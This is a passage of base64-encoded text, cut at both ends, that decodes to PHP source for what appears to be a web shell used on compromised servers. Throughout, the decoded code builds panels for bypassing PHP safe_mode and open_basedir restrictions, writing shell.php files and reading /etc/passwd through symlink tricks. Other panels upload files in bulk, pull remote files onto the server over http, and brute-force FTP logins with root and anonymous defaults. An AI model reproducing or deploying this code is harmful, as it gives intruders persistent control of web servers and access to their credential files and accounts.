CksIjUuMi4yIik8PTApCnsKZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEyNCddLCdpZDI3JykuJHRhYmxlX3VwMi5kaXYoJ2lkMjcnKS4kdHM7CmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDY1J10uIiAiLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ1OSddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0MTNfZmlsZTInLDk2LCghZW1wdHkoJF9QT1NUWyd0ZXN0MTNfZmlsZTInXSk/KCRfUE9TVFsndGVzdDEzX2ZpbGUyJ10pOigkZGlyLiJzaGVsbC5waHAiKSkpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDEzJykpOwplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMjUnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDEzX2ZpbGUxJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDEzX2ZpbGUxJ10pPygkX1BPU1RbJ3Rlc3QxM19maWxlMSddKTooIjw/IHBocGluZm8oKTsgPz4iKSkpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDEwJ10pKTsKZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOyAgCn0KCmlmKCgkc2FmZV9tb2RlIHx8ICRvcGVuX2Jhc2VkaXIpICYmIEB2ZXJzaW9uX2NvbXBhcmUoQHBocHZlcnNpb24oKSwiNS4yLjIiKTw9MCkKewplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTI2J10sJ2lkMjgnKS4kdGFibGVfdXAyLmRpdignaWQyOCcpLiR0czsKZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0MTRfZmlsZTInLDk2LCghZW1wdHkoJF9QT1NUWyd0ZXN0MTRfZmlsZTInXSk/KCRfUE9TVFsndGVzdDE0X2ZpbGUyJ10pOigkZGlyKSkpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDE0JykpOwplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMjUnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDE0X2ZpbGUxJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDE0X2ZpbGUxJ10pPygkX1BPU1RbJ3Rlc3QxNF9maWxlMSddKTooIjw/IHBocGluZm8oKTsgPz4iKSkpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDEwJ10pKTsKZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOyAgCn0KCmlmKCgkc2FmZV9tb2RlIHx8ICRvcGVuX2Jhc2VkaXIpICYmIEB2ZXJzaW9uX2NvbXBhcmUoQHBocHZlcnNpb24oKSwiNS4yLjQiKTw9MCkKewplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTMzJ10sJ2lkMzknKS4kdGFibGVfdXAyLmRpdignaWQzOScpLiR0czsKZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0MThfZmlsZTInLDk2LCghZW1wdHkoJF9QT1NUWyd0ZXN0MThfZmlsZTInXSk/KCRfUE9TVFsndGVzdDE4X2ZpbGUyJ10pOigkZGlyKSkpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDE4JykpOwplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMjUnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDE4X2ZpbGUxJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDE4X2ZpbGUxJ10pPygkX1BPU1RbJ3Rlc3QxOF9maWxlMSddKTooIjw/IHBocGluZm8oKTsgPz4iKSkpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDEwJ10pKTsKZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOyAgCn0KCmlmKCgkc2FmZV9tb2RlIHx8ICRvcGVuX2Jhc2VkaXIpICYmIEBmdW5jdGlvbl9leGlzdHMoJ3JlYWRmaWxlJykgJiYgQHZlcnNpb25fY29tcGFyZShAcGhwdmVyc2lvbigpLCI1LjIuMiIpPD0wKQp7CmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMjcnXSwnaWQyOScpLiR0YWJsZV91cDIuZGl2KCdpZDI5JykuJHRzOwplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2NSddLiIgIi4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NTknXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDE1X2ZpbGUyJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDE1X2ZpbGUyJ10pPygkX1BPU1RbJ3Rlc3QxNV9maWxlMiddKTooJGRpci4ic2hlbGwucGhwIikpKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3Rlc3QxNScpKTsKZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTI1J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3QxNV9maWxlMScsOTYsKCFlbXB0eSgkX1BPU1RbJ3Rlc3QxNV9maWxlMSddKT8oJF9QT1NUWyd0ZXN0MTVfZmlsZTEnXSk6KCI8PyBwaHBpbmZvKCk7ID8+IikpKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxMCddKSk7CmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsgIAp9CgppZigoJHNhZmVfbW9kZSB8fCAkb3Blbl9iYXNlZGlyKSAmJiBAdmVyc2lvbl9jb21wYXJlKEBwaHB2ZXJzaW9uKCksIjUuMi40Iik8PTApCnsKZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEyOSddLCdpZDE2JykuJHRhYmxlX3VwMi5kaXYoJ2lkMTYnKS4kdHM7CmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDY1J10uIiAiLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ1OSddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0MTZfZmlsZScsOTYsKCFlbXB0eSgkX1BPU1RbJ3Rlc3QxNl9maWxlJ10pPygkX1BPU1RbJ3Rlc3QxNl9maWxlJ10pOigkZGlyLiJ0ZXN0LnBocCIpKSkuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCd0ZXN0MTYnKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ4J10pKTsKZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOyAgCn0KCmlmKCgkc2FmZV9tb2RlIHx8ICRvcGVuX2Jhc2VkaXIpICYmIEBmdW5jdGlvbl9leGlzdHMoJ3N5bWxpbmsnKSAmJiBAdmVyc2lvbl9jb21wYXJlKEBwaHB2ZXJzaW9uKCksIjUuMi4yIik8PTApCnsKZWNobyAkdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTMxJ10sJ2lkMTcnKS4kdGFibGVfdXAyLmRpdignaWQxNycpLiR0czsKZWNobyAiPHRyPjx0ZCB2YWxpZ249dG9wIHdpZHRoPTcwJT4iLiR0czsKZWNobyBzcigyMCwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzAnXS4kYXJyb3cuIjwvYj4iLCRmcy5pbigndGV4dCcsJ3Rlc3QxN19maWxlJyw2MCwoIWVtcHR5KCRfUE9TVFsndGVzdDE3X2ZpbGUnXSk/KCRfUE9TVFsndGVzdDE3X2ZpbGUnXSk6KCIvZXRjL3Bhc3N3ZCIpKSkuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCd0ZXN0MTdfMScpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEzNiddKS4kZmUpOwplY2hvICR0ZS4iPC90ZD48dGQgdmFsaWduPXRvcCB3aWR0aD0zMCU+Ii4kdHM7CmVjaG8gc3IoMCwiIiwkZnMuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCd0ZXN0MTdfMicpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDgnXSkuJGZlKTsKZWNobyAkdGUuIjwvdGQ+PC90cj4iOwplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMTsgIAp9CgppZigoJHNhZmVfbW9kZSB8fCAkb3Blbl9iYXNlZGlyKSAmJiBAZnVuY3Rpb25fZXhpc3RzKCdzeW1saW5rJykgJiYgQHZlcnNpb25fY29tcGFyZShAcGhwdmVyc2lvbigpLCI1LjIuMiIpPD0wKQp7CmVjaG8gJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEzMiddLCdpZDE4JykuJHRhYmxlX3VwMi5kaXYoJ2lkMTgnKS4kdHM7CmVjaG8gIjx0cj48dGQgdmFsaWduPXRvcCB3aWR0aD03MCU+Ii4kdHM7CmVjaG8gc3IoMjAsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDQnXS4kYXJyb3cuIjwvYj4iLCRmcy5pbigndGV4dCcsJ3Rlc3QxN19maWxlJyw2MCwoIWVtcHR5KCRfUE9TVFsndGVzdDE3X2ZpbGUnXSk/KCRfUE9TVFsndGVzdDE3X2ZpbGUnXSk6KCRkaXIpKSkuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCd0ZXN0MTdfMScpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEzNiddKS4kZmUpOwplY2hvICR0ZS4iPC90ZD48dGQgdmFsaWduPXRvcCB3aWR0aD0zMCU+Ii4kdHM7CmVjaG8gc3IoMCwiIiwkZnMuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCd0ZXN0MTdfMycpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDgnXSkuJGZlKTsKZWNobyAkdGUuIjwvdGQ+PC90cj4iOwplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMTsgIAp9CgoKaWYoKCFAZnVuY3Rpb25fZXhpc3RzKCdpbmlfZ2V0JykpIHx8IEBpbmlfZ2V0KCdmaWxlX3VwbG9hZHMnKSl7CmVjaG8gIjxmb3JtIG5hbWU9dXBsb2FkIG1ldGhvZD1QT1NUIEVOQ1RZUEU9bXVsdGlwYXJ0L2Zvcm0tZGF0YT4iOwplY2hvICR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQ1J10sJ2lkMzAnKS4kdGFibGVfdXAyLmRpdignaWQzMCcpLiR0czsKZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NiddLiRhcnJvdy4iPC9iPiIsaW4oJ2ZpbGUnLCd1c2VyZmlsZTAnLDg1LCcnKSk7CmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIxJ10uJGFycm93LiI8L2I+IixpbignY2hlY2tib3gnLCduZjEgaWQ9bmYxJywwLCcxJykuaW4oJ3RleHQnLCduZXdfbmFtZScsODIsJycpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MiddKSk7CmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsKfQoKCmlmKCghQGZ1bmN0aW9uX2V4aXN0cygnaW5pX2dldCcpKSB8fCBAaW5pX2dldCgnZmlsZV91cGxvYWRzJykpewplY2hvICI8Zm9ybSBuYW1lPXVwbG9hZCBtZXRob2Q9UE9TVCBFTkNUWVBFPW11bHRpcGFydC9mb3JtLWRhdGE+IjsKZWNobyAkdGFibGVfdXAxLmRpdl90aXRsZSgnTXVsdHkgJy4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NSddLCdpZDM0JykuJHRhYmxlX3VwMi5kaXYoJ2lkMzQnKS4kdHM7CmVjaG8gIjx0cj48dGQgdmFsaWduPXRvcCB3aWR0aD01MCU+Ii4kdHM7CmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDYnXS4kYXJyb3cuIjwvYj4iLGluKCdmaWxlJywndXNlcmZpbGUxJywzNSwnJykpOwplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2J10uJGFycm93LiI8L2I+IixpbignZmlsZScsJ3VzZXJmaWxlMicsMzUsJycpKTsKZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NiddLiRhcnJvdy4iPC9iPiIsaW4oJ2ZpbGUnLCd1c2VyZmlsZTMnLDM1LCcnKSk7CmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDYnXS4kYXJyb3cuIjwvYj4iLGluKCdmaWxlJywndXNlcmZpbGU0JywzNSwnJykpOwplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2J10uJGFycm93LiI8L2I+IixpbignZmlsZScsJ3VzZXJmaWxlNScsMzUsJycpKTsKZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NiddLiRhcnJvdy4iPC9iPiIsaW4oJ2ZpbGUnLCd1c2VyZmlsZTYnLDM1LCcnKSk7CmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDYnXS4kYXJyb3cuIjwvYj4iLGluKCdmaWxlJywndXNlcmZpbGU3JywzNSwnJykpOwplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2J10uJGFycm93LiI8L2I+IixpbignZmlsZScsJ3VzZXJmaWxlOCcsMzUsJycpKTsKZWNobyAkdGUuIjwvdGQ+PHRkIHZhbGlnbj10b3Agd2lkdGg9NTAlPiIuJHRzOwplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2J10uJGFycm93LiI8L2I+IixpbignZmlsZScsJ3VzZXJmaWxlOScsMzUsJycpKTsKZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NiddLiRhcnJvdy4iPC9iPiIsaW4oJ2ZpbGUnLCd1c2VyZmlsZTEwJywzNSwnJykpOwplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2J10uJGFycm93LiI8L2I+IixpbignZmlsZScsJ3VzZXJmaWxlMTEnLDM1LCcnKSk7CmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDYnXS4kYXJyb3cuIjwvYj4iLGluKCdmaWxlJywndXNlcmZpbGUxMicsMzUsJycpKTsKZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NiddLiRhcnJvdy4iPC9iPiIsaW4oJ2ZpbGUnLCd1c2VyZmlsZTEzJywzNSwnJykpOwplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2J10uJGFycm93LiI8L2I+IixpbignZmlsZScsJ3VzZXJmaWxlMTQnLDM1LCcnKSk7CmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDYnXS4kYXJyb3cuIjwvYj4iLGluKCdmaWxlJywndXNlcmZpbGUxNScsMzUsJycpKTsKZWNobyBzcigxNSwnJyxpbignaGlkZGVuJywnZGlyJywwLCRkaXIpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDInXSkpOwplY2hvICR0ZS4iPC90ZD48L3RyPiI7CmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsKfQoKCmlmKCRzZWxlY3RfZG93bmxvYWRlcnMpewogZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDE1J10sJ2lkMzEnKS4kdGFibGVfdXAyLmRpdignaWQzMScpLiR0czsKIGVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDE2J10uJGFycm93LiI8L2I+Iiwkc2VsZWN0X2Rvd25sb2FkZXJzLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikud3MoMikuIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDE3J10uJGFycm93LiI8L2I+Ii5pbigndGV4dCcsJ3JlbV9maWxlJyw3OCwnaHR0cDovLycpKTsKIGVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDE4J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2xvY19maWxlJywxMDUsJGRpci4nL2Rvd25sb2FkLmZpbGUnKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQyJ10pKTsKIGVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsKfQoKZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDg2J10sJ2lkMzInKS4kdGFibGVfdXAyLmRpdignaWQzMicpLiR0czsKZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NTknXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZF9uYW1lJyw4NSwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCdkb3dubG9hZF9maWxlJykuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxNCddKSk7CiRhcmggPSAkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OTInXTsKaWYoQGZ1bmN0aW9uX2V4aXN0cygnZ3pjb21wcmVzcycpKSB7ICRhcmggLj0gaW4oJ3JhZGlvJywnY29tcHJlc3MnLDAsJ3ppcCcpLicgemlwJzsgICB9CmlmKEBmdW5jdGlvbl9leGlzdHMoJ2d6ZW5jb2RlJykpICAgeyAkYXJoIC49IGluKCdyYWRpbycsJ2NvbXByZXNzJywwLCdnemlwJykuJyBnemlwJzsgfQppZihAZnVuY3Rpb25fZXhpc3RzKCdiemNvbXByZXNzJykpIHsgJGFyaCAuPSBpbigncmFkaW8nLCdjb21wcmVzcycsMCwnYnppcCcpLicgYnppcCc7IH0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OTEnXS4kYXJyb3cuIjwvYj4iLGluKCdyYWRpbycsJ2NvbXByZXNzJywwLCdub25lJywxKS4nICcuJGFyaCk7CmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsKCmlmKEBmdW5jdGlvbl9leGlzdHMoImZ0cF9jb25uZWN0IikpewplY2hvICR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQ5MyddLCdpZDMzJykuJHRhYmxlX3VwMi5kaXYoJ2lkMzMnKS4kdHMuIjx0cj4iLiRmcy4iPHRkIHZhbGlnbj10b3Agd2lkdGg9MzMlPiIuJHRzOwoKZWNobyAiPGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+PGRpdiBhbGlnbj1jZW50ZXIgaWQ9J24nPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDk0J10uIjwvZGl2PjwvYj48L2ZvbnQ+IjsKZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0ODgnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZnRwX3NlcnZlcl9wb3J0JywyMCwoIWVtcHR5KCRfUE9TVFsnZnRwX3NlcnZlcl9wb3J0J10pPygkX1BPU1RbJ2Z0cF9zZXJ2ZXJfcG9ydCddKTooIjEyNy4wLjAuMToyMSIpKSkuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZnRwX2JydXRlJykuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKSk7CmVjaG8gc3IoMjUsIiIsaW4oJ3JhZGlvJywnYnJ1dGVfbWV0aG9kJywwLCdwYXNzd2QnLDEpLiI8Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ5OSddLiIgKCA8YSBocmVmPSciLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/dXNlcnMnPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDk1J10uIjwvYT4gKTwvZm9udD4iKTsKZWNobyBzcigyNSwiIixpbignY2hlY2tib3gnLCdyZXZlcnNlIGlkPXJldmVyc2UnLDAsJzEnLDEpLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMDEnXSk7CmVjaG8gc3IoMjUsIiIsaW4oJ3JhZGlvJywnYnJ1dGVfbWV0aG9kJywwLCdkaWMnLDApLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMzUnXSk7CmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM3J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2Z0cF9sb2dpbicsMCwoIWVtcHR5KCRfUE9TVFsnZnRwX2xvZ2luJ10pPygkX1BPU1RbJ2Z0cF9sb2dpbiddKTooInJvb3QiKSkpKTsKZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTM1J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2RpY3Rpb25hcnknLDAsKCFlbXB0eSgkX1BPU1RbJ2RpY3Rpb25hcnknXSk/KCRfUE9TVFsnZGljdGlvbmFyeSddKTooJGRpci4ncGFzc3cuZGljJykpKSk7CmVjaG8gc3IoMjUsIiIsaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MSddKSk7CgplY2hvICR0ZS4iPC90ZD4iLiRmZS4kZnMuIjx0ZCB2YWxpZ249dG9wIHdpZHRoPTMzJT4iLiR0czsKZWNobyAiPGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+PGRpdiBhbGlnbj1jZW50ZXIgaWQ9J24nPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDg3J10uIjwvZGl2PjwvYj48L2ZvbnQ+IjsKZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0ODgnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZnRwX3NlcnZlcl9wb3J0JywyMCwoIWVtcHR5KCRfUE9TVFsnZnRwX3NlcnZlcl9wb3J0J10pPygkX1BPU1RbJ2Z0cF9zZXJ2ZXJfcG9ydCddKTooIjEyNy4wLjAuMToyMSIpKSkpOwplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzNyddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdmdHBfbG9naW4nLDIwLCghZW1wdHkoJF9QT1NUWydmdHBfbG9naW4nXSk/KCRfUE9TVFsnZnRwX2xvZ2luJ10pOigiYW5vbnltb3VzIikpKSk7CmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM4J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2Z0cF9wYXNzd29yZCcsMjAsKCFlbXB0eSgkX1BPU1RbJ2Z0cF9wYXNzd29yZCddKT8oJF9QT1NUWydmdHBfcGFzc3dvcmQnXSk6KCJiaWxseUBtaWNyb3NvZnQuY29tIikpKSk7CmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDg5J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2Z0cF9maWxlJywyMCwoIWVtcHR5KCRfUE9TVFsnZnRwX2ZpbGUnXSk/KCRfUE9TVFsnZnRwX2ZpbGUnXSk6KCIvZnRwLWRpci9maWxlIikpKS5pbignaGlkZGVuJywnY21kJywwLCdmdHBfZmlsZV9kb3duJykpOwplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxOCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdsb2NfZmlsZScsMjAsJGRpcikpOwplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ5MCddLiRhcnJvdy4iPC9iPiIsIjxzZWxlY3QgbmFtZT1mdHBfbW9kZT48b3B0aW9uIHZhbHVlPUZUUF9CSU5BUlk+RlRQX0JJTkFSWTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9RlRQX0FTQ0lJPkZUUF9BU0NJSTwvb3B0aW9uPjwvc2VsZWN0PiIuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKSk7CmVjaG8gc3IoMjUsIiIsaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MTQnXSkpOwoKZWNobyAkdGUuIjwvdGQ+Ii4kZmUuJGZzLiI8dGQgdmFsaWduPXRvcCB3aWR0aD0zMyU+Ii4kdHM7CmVjaG8gIjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPjxkaXYgYWxpZ249Y2VudGVyIGlkPSduJz4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMDAnXS4iPC9kaXY+PC9iPjwvZm9udD4iOwplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ4OCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdmdHBfc2VydmVyX3BvcnQnLDIwLCghZW1wdHkoJF9QT1NUWydmdHBfc2VydmVyX3BvcnQnXSk/KCRfUE9TVFsnZnRwX3NlcnZlcl9wb3J0J10pOigiMTI3LjAuMC4xOjIxIikpKSk7CmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM3J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2Z0cF9sb2dpbicsMjAsKCFlbXB0eSgkX1BPU1RbJ2Z0cF9sb2dpbiddKT8oJF9QT1NUWydmdHBfbG9naW4nXSk6KCJhbm9ueW1vdXMiKSkpKTsKZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzgnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZnRwX3Bhc3N3b3JkJywyMCwoIWVtcHR5KCRfUE9TVFsnZnRwX3Bhc3N3b3JkJ10pPygkX1BPU1RbJ2Z0cF9wYXNzd29yZCddKTooImJpbGx5QG1pY3Jvc29mdC5jb20iKSkpKTsKZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTgnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnbG9jX2ZpbGUnLDIwLCRkaXIpKTsKZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0ODknXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZnRwX2ZpbGUnLDIwLCghZW1wdHkoJF9QT1NUWydmdHBf